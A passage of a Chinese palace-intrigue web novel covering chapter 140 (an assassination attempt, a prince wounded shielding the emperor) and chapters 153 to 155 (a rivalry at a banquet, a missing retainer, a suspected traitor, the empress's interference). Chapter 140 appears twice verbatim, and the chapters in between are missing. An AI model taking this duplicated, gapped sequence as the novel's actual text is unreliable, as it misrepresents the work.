沈惊澜面上忧心未来得及退去,又多了几分惊讶,端详温若初半晌,深吸一口气,勾起唇角,含着几分宠溺的意味,摇了摇头。 “用早膳吧。” 温若初为了保持病娇状态,简单用了点早膳,只垫垫肚子。 早膳过后,带上两株雪莲,和沈惊澜两人同乘一辆马车,马车里准备了六七样,式样精美,或软糯,或酥脆的点心。 马车高大华丽,车厢宽敞,陈设四个软椅,一方雕刻着八仙的红木矮几敦实地摆在中间,矮几上摆着糕点,脚边放着黄铜火盆。 温若初脱下素色披风,坐到软椅里,看着面前各色糕点,吞了吞口水。 沈惊澜拿起一块桂花糕,递到她嘴边。 “尝尝?” “不了。”正事要紧,不然早晨白吃那么少了。 沈惊澜唇角微微翘了翘,像是猜中她心思似的。 “王妃怀着双生子身子不适,你看起来病得很‘真’,不差这两块点心。” 温若初舔了舔嘴唇,犹豫半天,接过来桂花糕放到碟子里。 “先放着,回来吃。” 不多时,马车抵达皇宫,到了内门,文官下轿,武官下马,除了太子,所有的皇子都没例外。 初一正是成年皇子们入宫请安的日子,皇子们要先去给老皇帝请安,然后去后宫见母亲,没有皇帝恩准,一个月见一次。 温若初和沈惊澜从马车上下来,凑巧碰到四皇子沈雨霁和四皇子妃张氏。 两家人寒暄问好,一起前往御乾宫拜见老皇帝。 沈惊澜和沈雨霁在前,温若初和张氏携手在后。 张氏是吏部侍郎张守中的女儿,一个四品官员的家的嫡次女,本是配不上皇子,可沈雨霁生母身份低微,不受老皇帝重视,依附于皇后和太子,婚配自然低了一些。 张氏热络地扶着温若初,闲聊说笑间瞅了一眼她的小腹。 “才六个月的肚子就这么大了。” 温若初抚了抚小腹,“府医说是双生子,肚子瞧着比旁人的大些。” “原来如此,这可是大喜事,等会可是要把这个好消息告诉父皇,父皇的咳疾说不定就好了。” 张氏笑着说道,看着温若初的小腹,眼底柔和而爱怜,像是想起什么伤心事,微微叹了一口气。 “女子有孕产子不易,时时注意着,尤其是孕期,时间长,中间不能出一点差错,皇家子嗣珍贵……” 张氏瞅了一眼沈飞白背影,脚步慢了下来,捏了捏温若初手指。 “……无论什么时候,一定要提起十二分精神,方能平安把孩子生下来。” 温若初来雍国也有一阵子了,平常没事听秋菊和月儿闲聊皇子们的八卦,这位四皇子妃张氏曾先后怀过两胎,都莫名其妙没了,有一胎都八个月,小产,是男婴,没保住。 老皇帝十三个儿子,孙子辈却不进人尽,只太子沈星驰有两个儿子,剩下的能平安长大的都是女娃。 她之前就觉得这里面有猫腻。 张氏的暗示也侧面证明了她的猜想。 雍国皇帝豺狼环伺,本就不是什么象牙塔安乐窝,她是来夺权的,注定坎坷。 兵来将挡水来土掩就是。 不管张氏是敌是友,这句提醒是善意的,温若初对张氏笑了笑。 “多谢。” 一行人说笑间到了御乾宫老皇帝住的寝宫。 宫人通传后,几人走进寝宫,跪地行礼。 第140章 遇刺 柳妃被老皇帝敕令在翠云居养心病,沈飞白的府邸在宫外,她这个母妃却不能去见。 宫妃是不能随意出宫的,柳妃只在沈飞白咽气那日,获得老皇帝恩准,去看了一眼。 赶上过年,别人都欢喜团圆,她的儿子却躺在冰冷棺椁里…… 柳妃的心比屋外的雪花还冷。 她确信沈飞白的“病”,就是沈惊澜背后搞鬼,却苦于没有证据。 除夕宴见到温若初挺着肚子,和沈惊澜夫妻恩爱,有说有笑。 犹如无数根针,扎在柳妃心口。 她早就想发疯弄死沈惊澜和温若初了。 只恨自己没长三头六臂弄死温若初肚子里的孩子。 反倒惹了陛下的嫌。 她不后悔。 只是…… 兄长还在禁足教导侄子柳知意,儿子沈飞白突然薨逝,如今她又被软禁翠云居。 有些后悔没早听兄长的话,把族亲的女儿多弄宫里几个,多生几个儿子。 沈飞白死了,还能用沾有柳家血脉的孩子顶上。 如今是说什么都来不及了。 柳妃瘫坐在翠云居冰冷地板上,听着外面阵阵爆竹声响,一股滔天恨意涌上心头。 转念一想,不行,柳家不能就这么完了。 她还有子侄,柳知意仪表堂堂,文韬武略,若是有朝一日位极人臣,一样可以让柳家屹立不倒。 陛下还说柳知意是好孩子。 柳妃爬了起来,抬手抹干净眼底泪水,到书案前提笔写了一封信,折好,塞进信封,递给身边伺候的小宫女。 “这个给本宫兄长送去。” 小宫女接过信,点头应声,“是。” 除夕过后,都城各王府勋贵世家要举办春日宴,荣王府多少也算新晋勋贵,邀请帖收到了不少。 温若初放出话,除夕宴受到了惊吓,身子抱恙。 大家都企盼新的一年顺风顺水,平常连说话都注意,忌讳晦气的话。 大正月身子抱恙,谁都不愿意触霉头。荣王府门口安静了。 一直到正月十五上元节,沈惊澜作为礼部侍郎以及九皇子,连带太子和其他几位皇子,陪同老皇帝去法华寺点灯。 上元节后,这个年算是真正过完了,新的一年开始。 皇帝去法华寺在佛祖面前点灯,告诉佛祖新的一年庇佑雍国子民。 一大早沈惊澜走的时候告诉她,会晚些回来。 结果,一整晚都没回来,一大早宫里来人传信,老皇帝遇刺,沈惊澜为老皇帝挡了一刀,受了伤。 传话的是王公公,为人刻板,是沈惊澜的人,王爷怎么传话给他的,他就怎么转述给王妃,恭敬道。 “昨儿陛下和王爷他们在法华寺将就一宿,王爷说他并无大碍,王妃当心身子,切莫过于挂心。” “估摸着晚一会儿,王爷就能回来了。” 不是她不相信沈惊澜武功,实在是敢行刺皇帝的,都是抱着必死决心的亡命之徒。 为那老登挡一刀,不说值不值得。 就说刺客那一刀,肯定是下了死手,沈惊澜能无碍? 温若初脸色煞白,手有些凉。 “劳烦公公跑一趟了。” 送走王公公没多久,门房的人传话。 “王爷回来了。” 温若初赶紧出门去迎,门口两列威风凛凛大内禁军,护送一辆高大威武华丽八乘马车,竟然是老皇帝的銮驾,老皇帝的亲随李公公亲自护送。 荣王府门口巷子狭小,堵得满满登登,迫使往来车马绕道而行。 沈惊澜被人从马车上抬下来。 沈惊澜眼眸闭合,脸色煞白,白色纱布包裹着前胸,左一圈右一圈,裹得严严实实跟木乃伊似的,身上搭盖着沈惊澜早晨走的时候穿的那件玄色衣袍,前襟一大片暗色血迹。 沈惊澜气息微弱地躺在架子上,瞧着就吓人。 这是皮外伤? 温若初脑子嗡的一声,扑了过去,哭喊。 “沈惊澜你怎么样了?你可千万别死啊,你死了我怎么办啊?” 李公公神色凝重,看到温若初挺着肚子哭得伤心,拧眉微微叹了一口气,似乎是在可怜温若初年纪轻轻做了寡妇。 秋菊和月儿赶紧扶住温若初。 “公主当心身子。” 李公公安慰温若初。 “荣王妃娘娘快把王爷送屋里去吧,陛下说了王爷的这份孝心无人能及,勇气可嘉,等王爷身子……” 哽咽一声,吸了吸鼻子,“……王爷身子好了,陛下定有重赏。” 温若初正哭得伤心,指尖忽然被捏了一下,哭声不觉小了些,她垂眼看向沈惊澜。 沈惊澜依然闭着眼睛,没什么生气地躺在那。 温若初微微顿了一下,眼角余光瞥了一眼李公公,哭得更伤心了。 “我领着孩子今后该怎么活啊?” 让人把沈惊澜抬府里去,怨怼地瞅了一眼李公公,连客气话都没说,就让人关上了大门。 方才抬沈惊澜的小太监对着紧闭门板,轻嗤一声,凑到李公公身边,愤愤不平道。 “这位荣王妃的性子好像不大好相处啊,干爹您可是伺候的陛下的,谁不给您三分面子,咱们费劲地把人送回来了,赏银没有就算了,连句客套话都不会说。” “就你话多!” 李公公用拂尘木柄敲了小太监脑袋,陛下法华寺遇刺,荣王挡刀,出了半盆的血。 随行御医检查过伤势,伤及脏腑,十有八九这条命是保不住了。 能熬过这几日算是荣王命大,熬不过,替陛下挡刀而死,也是荣王前世修来的福分,算了折了寒妃当年勾引太子殿下的罪孽。 人心都是肉长的,瞧着温若初挺着肚子哭得伤心模样,任谁见了心里都不好受。 李公公没好气地数落小太监。 “也不看看荣王妃之前是什么人,大虞女皇跟前千娇百宠的郡主,荣王重伤生死未卜,没拿着砍刀出来问罪,就是咱爷俩的造化,还要什么赏银!” 温若初赶紧命人把沈惊澜抬去内院,放到床上。 “秋菊去请古叔过来,月儿去烧些热水,剩下的人都出去。”温若初吩咐道。 “是。” 丫鬟小厮都被温若初打发走了,屋里只剩下躺在床上的沈惊澜和温若初。 温若初回手关上门,快步走到床边,沈惊澜已坐起身,唇边噙着一抹若有似无的笑意。 果然是装的,温若初心底暗暗松了一口气,狠狠拍了一把沈惊澜后背,急声问道。 “你怎么回事?” 沈惊澜身体前倾一下,下意识捂住胸口,蹙眉头“嘶”了一声。 真受伤了! 温若初瞪大眼睛,关切道。 “你……你怎么样了。” 沈惊澜额头上渗出一层虚汗,扯了扯嘴角,摇摇头。 “我没事,昨晚我随驾前往法华寺……” 沈惊澜轻描淡写老皇帝遇刺,以及沈惊澜挡刀的经过。 他说得轻巧,温若初听得心惊肉跳,脑补一出武侠权谋动作大片。 原来,沈惊澜早知道法华寺会有这么一出行刺戏码。 第140章 遇刺 柳妃被老皇帝敕令在翠云居养心病,沈飞白的府邸在宫外,她这个母妃却不能去见。 宫妃是不能随意出宫的,柳妃只在沈飞白咽气那日,获得老皇帝恩准,去看了一眼。 赶上过年,别人都欢喜团圆,她的儿子却躺在冰冷棺椁里…… 柳妃的心比屋外的雪花还冷。 她确信沈飞白的“病”,就是沈惊澜背后搞鬼,却苦于没有证据。 除夕宴见到温若初挺着肚子,和沈惊澜夫妻恩爱,有说有笑。 犹如无数根针,扎在柳妃心口。 她早就想发疯弄死沈惊澜和温若初了。 只恨自己没长三头六臂弄死温若初肚子里的孩子。 反倒惹了陛下的嫌。 她不后悔。 只是…… 兄长还在禁足教导侄子柳知意,儿子沈飞白突然薨逝,如今她又被软禁翠云居。 有些后悔没早听兄长的话,把族亲的女儿多弄宫里几个,多生几个儿子。 沈飞白死了,还能用沾有柳家血脉的孩子顶上。 如今是说什么都来不及了。 柳妃瘫坐在翠云居冰冷地板上,听着外面阵阵爆竹声响,一股滔天恨意涌上心头。 转念一想,不行,柳家不能就这么完了。 她还有子侄,柳知意仪表堂堂,文韬武略,若是有朝一日位极人臣,一样可以让柳家屹立不倒。 陛下还说柳知意是好孩子。 柳妃爬了起来,抬手抹干净眼底泪水,到书案前提笔写了一封信,折好,塞进信封,递给身边伺候的小宫女。 “这个给本宫兄长送去。” 小宫女接过信,点头应声,“是。” 除夕过后,都城各王府勋贵世家要举办春日宴,荣王府多少也算新晋勋贵,邀请帖收到了不少。 温若初放出话,除夕宴受到了惊吓,身子抱恙。 大家都企盼新的一年顺风顺水,平常连说话都注意,忌讳晦气的话。 大正月身子抱恙,谁都不愿意触霉头。荣王府门口安静了。 一直到正月十五上元节,沈惊澜作为礼部侍郎以及九皇子,连带太子和其他几位皇子,陪同老皇帝去法华寺点灯。 上元节后,这个年算是真正过完了,新的一年开始。 皇帝去法华寺在佛祖面前点灯,告诉佛祖新的一年庇佑雍国子民。 一大早沈惊澜走的时候告诉她,会晚些回来。 结果,一整晚都没回来,一大早宫里来人传信,老皇帝遇刺,沈惊澜为老皇帝挡了一刀,受了伤。 传话的是王公公,为人刻板,是沈惊澜的人,王爷怎么传话给他的,他就怎么转述给王妃,恭敬道。 “昨儿陛下和王爷他们在法华寺将就一宿,王爷说他并无大碍,王妃当心身子,切莫过于挂心。” “估摸着晚一会儿,王爷就能回来了。” 不是她不相信沈惊澜武功,实在是敢行刺皇帝的,都是抱着必死决心的亡命之徒。 为那老登挡一刀,不说值不值得。 就说刺客那一刀,肯定是下了死手,沈惊澜能无碍? 温若初脸色煞白,手有些凉。 “劳烦公公跑一趟了。” 送走王公公没多久,门房的人传话。 “王爷回来了。” 温若初赶紧出门去迎,门口两列威风凛凛大内禁军,护送一辆高大威武华丽八乘马车,竟然是老皇帝的銮驾,老皇帝的亲随李公公亲自护送。 荣王府门口巷子狭小,堵得满满登登,迫使往来车马绕道而行。 沈惊澜被人从马车上抬下来。 沈惊澜眼眸闭合,脸色煞白,白色纱布包裹着前胸,左一圈右一圈,裹得严严实实跟木乃伊似的,身上搭盖着沈惊澜早晨走的时候穿的那件玄色衣袍,前襟一大片暗色血迹。 沈惊澜气息微弱地躺在架子上,瞧着就吓人。 这是皮外伤? 温若初脑子嗡的一声,扑了过去,哭喊。 “沈惊澜你怎么样了?你可千万别死啊,你死了我怎么办啊?” 李公公神色凝重,看到温若初挺着肚子哭得伤心,拧眉微微叹了一口气,似乎是在可怜温若初年纪轻轻做了寡妇。 秋菊和月儿赶紧扶住温若初。 “公主当心身子。” 李公公安慰温若初。 “荣王妃娘娘快把王爷送屋里去吧,陛下说了王爷的这份孝心无人能及,勇气可嘉,等王爷身子……” 哽咽一声,吸了吸鼻子,“……王爷身子好了,陛下定有重赏。” 温若初正哭得伤心,指尖忽然被捏了一下,哭声不觉小了些,她垂眼看向沈惊澜。 沈惊澜依然闭着眼睛,没什么生气地躺在那。 温若初微微顿了一下,眼角余光瞥了一眼李公公,哭得更伤心了。 “我领着孩子今后该怎么活啊?” 让人把沈惊澜抬府里去,怨怼地瞅了一眼李公公,连客气话都没说,就让人关上了大门。 方才抬沈惊澜的小太监对着紧闭门板,轻嗤一声,凑到李公公身边,愤愤不平道。 “这位荣王妃的性子好像不大好相处啊,干爹您可是伺候的陛下的,谁不给您三分面子,咱们费劲地把人送回来了,赏银没有就算了,连句客套话都不会说。” “就你话多!” 李公公用拂尘木柄敲了小太监脑袋,陛下法华寺遇刺,荣王挡刀,出了半盆的血。 随行御医检查过伤势,伤及脏腑,十有八九这条命是保不住了。 能熬过这几日算是荣王命大,熬不过,替陛下挡刀而死,也是荣王前世修来的福分,算了折了寒妃当年勾引太子殿下的罪孽。 人心都是肉长的,瞧着温若初挺着肚子哭得伤心模样,任谁见了心里都不好受。 李公公没好气地数落小太监。 “也不看看荣王妃之前是什么人,大虞女皇跟前千娇百宠的郡主,荣王重伤生死未卜,没拿着砍刀出来问罪,就是咱爷俩的造化,还要什么赏银!” 温若初赶紧命人把沈惊澜抬去内院,放到床上。 “秋菊去请古叔过来,月儿去烧些热水,剩下的人都出去。”温若初吩咐道。 “是。” 丫鬟小厮都被温若初打发走了,屋里只剩下躺在床上的沈惊澜和温若初。 温若初回手关上门,快步走到床边,沈惊澜已坐起身,唇边噙着一抹若有似无的笑意。 果然是装的,温若初心底暗暗松了一口气,狠狠拍了一把沈惊澜后背,急声问道。 “你怎么回事?” 沈惊澜身体前倾一下,下意识捂住胸口,蹙眉头“嘶”了一声。 真受伤了! 温若初瞪大眼睛,关切道。 “你……你怎么样了。” 沈惊澜额头上渗出一层虚汗,扯了扯嘴角,摇摇头。 “我没事,昨晚我随驾前往法华寺……” 沈惊澜轻描淡写老皇帝遇刺,以及沈惊澜挡刀的经过。 他说得轻巧,温若初听得心惊肉跳,脑补一出武侠权谋动作大片。 原来,沈惊澜早知道法华寺会有这么一出行刺戏码。 第153章 修罗场 温若初点头,“去。” 凌玄礼为宴请她和沈惊澜,正式下了拜帖,不是下到荣王府,而是直接下到兵部送到沈惊澜手里。 况且,凌玄礼是大虞人,和温若初也算是拐着几道弯的亲戚,算是娘家人。 大虞可是她最坚实的靠山,只要有大虞在,就没有人敢对她下手,至少没有人敢明目张胆地要她性命。 凌玄礼是大虞来访雍国使团正使,她和大虞的关系必须时刻紧密,这顿宴席,就算是做给外人看,也得参加。 沈惊澜睫毛下耷,掩住眼底不悦情绪,沉默半晌道。 “哦。” 客人下完拜帖,主人出于礼数,赴不赴宴都要有回帖。 沈惊澜也不继续说话,也没有要起身回复拜帖的意思,坐在太师椅里把玩手里拜帖,有节奏在掌心里敲打着。 温若初偏头诧异地看着沈惊澜,催促。 “去回拜帖啊。” 沈惊澜停下把玩拜帖的动作,抬起眼皮对上温若初视线,犹豫道。 “你方才有些失神……是在想什么?” 这下轮到温若初沉默了,她在想给柳妃传递消息的那个躲在暗处的人。 她也只是怀疑有这么一个人,本就捕风捉影,和沈惊澜提,就要提柳妃说起让她生完孩子滚回大虞。 沈惊澜心思敏感,她说了,他又要多想了。 多一事不如少一事。 这事,等她调查清楚了再告诉沈惊澜也不迟。 她早摸顺了沈惊澜的脾气,知道沈惊澜愿意听什么。 怕沈惊澜起疑心,顺着之前的话茬转移话题。 温若初笑了笑,“在想赴凌大人宴席,咱俩应该穿哪件衣裳去,最好是同色系的,显得咱俩是一家人。” 盘旋在沈惊澜头顶的阴云瞬间散开,下意识追问一句。 “真的?” 温若初定定点头,眸色认真,煞有介事地提议。 “我那件黛青色褙子怎么样?你有一件黛青色长袍,正好相衬。” “甚好!” 沈惊澜墨黑深邃的眸子隐隐闪着期待而兴奋的光,这下不磨蹭了,痛快地拿着拜帖起身。 “我去给守正回贴。” 温若初看着沈惊澜风一样离开的背影,不禁笑了笑,这人还挺好哄。 抬头吩咐秋菊去把冯文叫来。 不多时,冯文抬步进来,“公主。” 温若初抬眼看向冯文,神色严肃道。 “帮我去办一件事,你去永顺巷找王公公,让王公公去查一下柳家出事前一日,都有谁见过柳妃。” 王公公是沈惊澜安插在皇宫的人。 上次法华寺老皇帝遇刺,沈惊澜挡刀,就是这位王公公受沈惊澜嘱托,提前传信给温若初。 办事一板一眼,绝不多说一句废话,以至于温若初误会沈惊澜受了重伤。 这样的人,办事牢靠,在事情没有结果之前是不会乱说的,更不会多嘴告知沈惊澜。 为防止中间出岔子,特意叮嘱,有了结果先告知她。 两日后,温若初穿着黛青色领口绣着缠枝纹褙子,内搭杏色纱裙,沈惊澜身穿黛青色长袍,腰间紧扣白玉腰扣,两人走在一起莫名地相衬。 相携前往凌玄礼设宴的地方——鼎香阁。 温若初和沈惊澜到的时候,凌玄礼已经到了。 寒暄过后,三人落座,沈惊澜紧挨着坐在温若初身边,圆形的大桌子,三个人的方位正好处在一条直径上。 温若初感觉气氛有些尴尬,正想着没话找话说点什么,沈惊澜先开口道。 “天转暖了,守正若是需要做些轻薄衣衫,荣王府可以帮忙,我和小初的衣裳就是府里绣娘做的。” 温若初想找个地缝钻进去,谈论做衣裳不应该是后宅女子坐在一起才聊的话题吗? 凌玄礼身上穿着轻薄纱衣,怎么会不知沈惊澜挑衅炫耀之意,沈惊澜和温若初一起走进来的时候,他就发现两人衣裳颜色相近。 凌玄礼挑了挑一侧眉毛,“不必了,我也有一件黛青色长袍,和你身上这件式样差不多,就是袖口是缠枝纹的。” 沈惊澜瞅了一眼衣袖,落花流水纹,又看了一眼温若初缠枝纹领口的褙子,曲起手指刮了刮温若初小腹。 “这件褙子有点小了,不合适了,明天让绣娘再做一件落花流水纹的。” 凌玄礼:“……” 这件黛青色褙子是前几日新做的,穿着还有点富余,哪里小了。 沈惊澜就是在故意给凌玄礼难堪。 温若初想把沈惊澜嘴缝上,不过是一件衣裳,至于如此斤斤计较。 她一脸尴尬,扯了扯嘴角打圆场。 “凌大人别误会,谨之不是那个意思,凌大人在这边如果有什么难处,需要帮忙的地方,尽管来找荣王府。” 桌子下,还警告性地踢了踢沈惊澜。 凌玄礼对温若初笑了笑,“好。” 沈惊澜为自己斟了一盏茶水,状似无意地问道。 “守正来雍国也有一阵子了,大理寺积攒不少案子了吧,什么时候回去啊?” 这话和明着撵凌玄礼回大虞有什么区别? 沈惊澜不是一个莽撞无礼的人,凌玄礼可是他的好友啊。 撵人的话,就这么水灵灵地说出来了! 温若初有些惊讶地看向沈惊澜。 沈惊澜不是很在意地抿了一口茶水,视线越过茶盏边缘觑向正对面的凌玄礼。 凌玄礼好像没听懂,脸上没表现出任何窘迫和尴尬,反而嘴角微微翘起,像是突然想到什么似的。 “对,这次宴请二位就是言明此事,圣人给我下了旨意……” 看向温若初,眸光柔和,“圣人命我等务必等若初公主临盆,确保母子平安之后再回上京,圣意如此,守正不敢忤逆。” 第154章 生完孩子,滚回大虞 凌玄礼从身后侍从手里接过来一个乌木盒子,“这个是丞相夫人托人带过来给若初公主的。” 黄兰把盒子放到温若初面前,掀开盖子,里面整齐码放样式精美的桂花糕,温若初就喜欢吃舅母做的桂花糕。 “我喜欢吃的桂花糕,就知道舅母对我好。” 温若初当即拿出一块,咬了一大口,又分给沈惊澜一块,“给你。” 凌玄礼:“桂花糕是前日和圣人旨意一起送到的,原本是想前日就送去府上的,荣王府规矩多,怕送不到你手里,今日便给你带来了。” “桂花糕还是刚出锅的时候口感更佳,若初公主母子平安之后,若是愿意吃这口,可以回上京吃刚出锅的。” 温若初的手顿了一下,圣人旨意让凌玄礼留在都城,直到她平安产子,圣人宠爱她,不放心凌玄礼留下照看,无可厚非。 可因为一口桂花糕,让她生完孩子回大虞上京,就有点不合乎常理,从都城到上京,路上至少耗费半个月。 她莫名想到了柳妃死之前说的话,“生完孩子,滚回大虞”。 心底疑惑四起,她抬眼看向凌玄礼。 这句话不像是凌玄礼教柳妃的,凌玄礼也没有道理这么做,关键是凌玄礼是外臣,没有机会接触宫妃。 那个在柳家出事之前,暗中帮助柳妃逃脱一劫的人,不是凌玄礼,还会是谁? 温若初想不到背后之人的身份。 进出皇宫探望宫妃,內宫都有记录,等王公公有了消息,躲在背后藏头露尾的人自会浮出水面。 温若初庆幸没把柳妃和她说的那番话,转述沈惊澜。 沈惊澜黑着脸,手里捏着桂花糕,仔细端详。 “过两日我去寻个大虞的厨娘,专门给你做桂花糕。” 温若初嘴里塞着桂花糕,含糊不清点头。 “好。” 凌玄礼接话,“每个厨娘的烹饪技巧和方式不同,做出来的味道也不同,就算是烹饪方式方法全然相同,水,面粉,桂花,一方水土长出来的东西,味道也是不同的。若初公主嘴巴刁,只喜欢吃大虞的桂花糕。” “我……”什么都可以,不挑食。 温若初只张嘴说了一个音节,沈惊澜就把话接了过去。 “大虞和雍国签订和平条约,日后开放互市,面粉可以买来,桂花树也可移植到荣王府院子,至于水,那就更简单了,大虞和雍国共用绥江,雍国处于上游,水质只会更好。” …… 两人你一言我一语,谁也不让着谁,斗鸡是的。温若初几次想插话都插不进去。 插不进话,索性就由着他们了。 温若初撑着下巴,不紧不慢吃着的桂花糕,看沈惊澜和凌玄礼的热闹。 三人用了一顿不大愉快的午膳,沈惊澜和凌玄礼光顾着吵架拌嘴,也没怎么动筷子,剩了一大桌子饭菜,鸡鸭鱼肉的,有几样菜都没动筷子。 温若初吃了一肚子桂花糕,看着一桌子饭菜,心里叹了一口气,剩下这么多可惜了,若是追风在就好了,追风胃口好,能吃,一定不会剩下。 追风? 年前她就和沈惊澜打听过追风,沈惊澜说追风被派往大虞送信,之后就失踪了。 沈惊澜一直在派人找,一直都没得追风消息,就像突然人间蒸发了一样。 追风被沈惊澜派往大虞送信,日期在凌玄礼来雍国都城之前。 温若初撩起眼皮看向凌玄礼,“凌大人去年来都城之前,可有在上京见过追风?” 凌玄礼和沈惊澜正在说雍国和大虞拟建立互市的事,温若初无来由地插进来一句,凌玄礼没跟上温若初思路。 他愣了愣,一时没想起来这个追风何许人也。 “追风是谁?” 温若初比划一下,“这么高,十七八岁少年,身手不错,经常穿一身玄色衣裳,对,追风的腰间配着一把短刀。”余光扫了一眼沈惊澜。 见沈惊澜眉心紧蹙,神色凝重起来,两片薄唇紧紧地抿着,没有要补充的。 她继续对凌玄礼道:“追风是谨之下属,你应该见过的。” 沈惊澜的家底除了天机阁,凌玄礼基本上都知道,和沈惊澜走得近的几个,凌玄礼也都见过,没必要瞒着凌玄礼。 凌玄礼思忖半晌,想起来了。 温若初被掳走,没过几日有一少年突然闯进王丞相书房,不求财,不要命,一身匪气,动作粗鲁,说话还算客气,给了王丞相两封信,让王丞相转交圣人。 他当时就在王丞相书房,见过那位少年,觉得眼熟,之前一定在哪里见过。 后来回想,沈惊澜还在上京的时候,这个少年经常出现在沈惊澜身边,只是这两个人当着他的面没说过话,他当时也没多想,以为只是巧合。 现在想想,能养那样一个武功高强的少年在身边,足以见沈惊澜很早之前就开始谋划回雍国,并且一直在隐藏自己的真正实力。 沈惊澜这人简直是阴险狡诈,心思深沉。 若初心思单纯,又率直,连鸡都没杀过,被沈惊澜拐走就是羊入虎口。 他不否认沈惊澜的军事才华和政治远见。 凌玄礼点点头,“见过。” “什么时候?在哪?”温若初急着问。 凌玄礼实话实说,“上京王丞相书房,还有一次,我得了圣意,率领大虞使团给你送和亲圣旨,经过禹郡见过你说的那个追风。” “当时追风身边跟着一个眼角有痣的中年男子,我们在禹郡一家酒馆凑巧遇见,追风还管我要了一只烧鸡,再后来就没见过了。” 凌玄礼说完和追风巧遇的两次经历,抬头看向温若初和沈惊澜二人。 “怎么?那位小兄弟是出事了?” “好几个月都没消息了。” 要烧鸡,确实是追风能干出来的事,追风完成沈惊澜交给他的任务,应该是折返回了雍国,并且在大虞和雍国交界的禹郡和凌玄礼打了一个照面。 可追风就是没回来,连消息也没有,温若初的预感很不好。 从鼎香阁出来,温若初和沈惊澜同乘一辆马车。 温若初丧眉搭眼直叹气,马车摇摇晃晃,她不说话,沈惊澜也不说话,从凌玄礼提起在禹郡见过追风,沈惊澜就沉默了。 沈惊澜坐在她对面,眉心微蹙,拇指指腹摩挲食指,又在琢磨事。 温若初道:“你回去收拾收拾,和兵部告个假,明日就去禹郡,顺利的话,六七日就能回来,其实也可以往好了想,万一追风还活着呢。” 沈惊澜撩起眼皮看向她,“守正说的那个眼角有痣的中年男子是天机阁一个暗桩首长,算是一个小头目,追风失踪前和自己人在一起。” 温若初长长松了一口气,“那追风一定还活着。” 第155章 照顾好本宫的儿媳妇和小皇孙 沈惊澜没接温若初的话茬,眉心始终蹙在一起。 “我去趟禹郡,你照顾好自己,五天之内回来。” “好。” 隔天一大早沈惊澜就去兵部告了假,兵部司官批假批得也痛快。 温若初给沈惊澜准备了两声换洗衣裳,带了些干粮和水。 沈惊澜领着小辛骑上马,还没等走出家门,一阵急促马蹄声传了过来,抬眼向声源处看去。 是皇后身边的掌事宫女采莲骑着马来了。 “荣王殿下且慢,皇后娘娘懿旨,召荣王殿下和荣王妃进宫。” 沈惊澜翻身下马,温若初也走了过去。 齐声道:“儿臣遵旨。” 翊坤宫 皇后端坐太师椅上,胳膊肘搭在扶手上,手边小方桌上放着兵部点卯名册,掀开的那页正好是沈惊澜告假,告假事由写着:“去禹郡寻人。” 太子妃萧蔷坐在皇后身边位置,脸上平静,双手不安地搅着帕子。 温若初和沈惊澜坐在萧蔷对面。 他们对皇后寒暄见礼过后,皇后赐了座。之后谁都没说话,气氛安静得有些诡异。 好半晌的沉默过后,皇后凤眸扫了一眼手边兵部点卯名册,看向沈惊澜,带着几分责备的语气道。 “不是母后说你,小初眼瞅就临盆了,多大的事啊,值得你放下孕妻去禹郡?” 沈惊澜实话实说,“儿臣的一个贴身侍从在禹郡失踪了。” 皇后不耐烦道,“不过是个侍从罢了,你可是皇子,身份尊贵,怎么能亲自去寻,派个人去找,就是给他天大的脸面了。” 温若初在一边默不作声听着。 昨日他们和凌玄礼分开,回荣王府的路上,沈惊澜和她提起一件事。 “近日我整理兵部采办账本,鄞郡军需耗损严重,鄞郡距禹郡只五十里,鄞郡郡守是沈星驰的亲娘舅。” 温若初一直在想追风是死是活,沈惊澜的思维跳脱,说追风的事,怎么一下子跳到沈星驰娘舅身上去了。 一时间没反应过来沈惊澜这话的意思,下意识问道。 “怎么了?” 沈惊澜沉吟半晌,“武兴负责鄞郡情报,鄞郡那边的情况,我是从兵部账册上知道的……” 沈惊澜说到这里不说了,眉心蹙得很深,很深。 温若初顺着沈惊澜的话茬,捋顺思路,脑子嗡的一声。 沈惊澜说过,天机阁成员三个月没有消息传回来,不是死了就是叛变。 她曾经试图收买过追风,追风死活不同意,追风说他那条命是沈惊澜救下的,这辈子都不会背叛沈惊澜。 那就只有一个可能——追风死了。 而追风死之前和那个武兴在一起。 武兴作为天机阁一个暗桩首长,负责收集鄞郡情报。 武兴给沈惊澜的情报,和沈惊澜自己调查到的鄞郡情况有出入。 这个叫武兴的十有八九背叛了沈惊澜。 天机阁是一个保密性极强的情报机构,情报系统环环相扣,牵一发而动全身,武兴的职位不低,若是出了岔子,整个天机阁都可能受到影响。 情报失去了保密性,就是废纸一张,届时天机阁形同虚设。 沈惊澜经营了这么长时间的天机阁,极有可能毁在这个武兴身上。 天机阁是寒妃留给沈惊澜安身立命的家底,也是他们对付老皇帝和沈星驰的重要助力,天机阁绝对不能出任何岔子。 沈惊澜必须亲自去一趟禹郡,去找追风,也是去清理叛徒武兴,尽量把天机阁的损失降到最低。 武兴所在的鄞郡郡守是皇后亲弟弟萧桂云。 原想着暂时不声张,沈惊澜先去禹郡然后秘密潜入鄞郡,悄悄处理了武兴,派新人补上武兴的缺。 没想到被皇后这边抢先了一步。 皇后以她临盆为由不让沈惊澜去禹郡,采莲去拦沈惊澜的时间也恰到好处。 这么费心地拦着沈惊澜去禹郡,禹郡以及距离禹郡五十宫里的鄞郡一定都有问题。 瞧着萧蔷那故作镇静表情来看,此事很有可能和沈星驰有关,并且老皇帝不知情。 只是不知道是沈星驰犯了什么事?多大的事? 温若初有一种预感,此事过后,沈星驰和老皇帝之间必出嫌隙。 只可惜,他们束手束脚,施展不开,就连去哪都由不得自己做主。 温若初叹了一口气,人家是皇后,刀柄掌握在人家的手上,她和沈惊澜不能抗旨不尊。 话说回来,腿长在自己身上,想去哪,旁人可管不着。 不如以退为进,然后来个明修栈道暗度陈仓。 温若初眼珠转了转,嘴角勾起淡淡笑意,看向皇后,带着几分撒娇的语气道。 “多谢母后体恤儿臣,儿臣前几日还和王爷说呢,我这快临盆了,身边没个人照应,我这心里七上八下的,发慌得紧。” “儿臣斗胆请求母后去求父皇,能不能下道旨意,允准王爷休假,哪都不能去,就留在王府陪我。” 和皇后说话的时候,嗔怪地瞅了一眼沈惊澜。 沈惊澜板着脸,“别闹,我只是去禹郡找人,用不了几日就回来,兵部还积压了很多要紧事处理,怎么能日日留在府里守着你?” 温若初撅着嘴巴,一脸怒气站起身控诉道。 “母后,你看他!” 皇后看着两人说话语气越来越冲,像是要打起来。 唇角勾起不明显弧度,心里暗暗松了一口气。 谁说的温若初巾帼不让须眉,有气魄,有谋略? 哼! 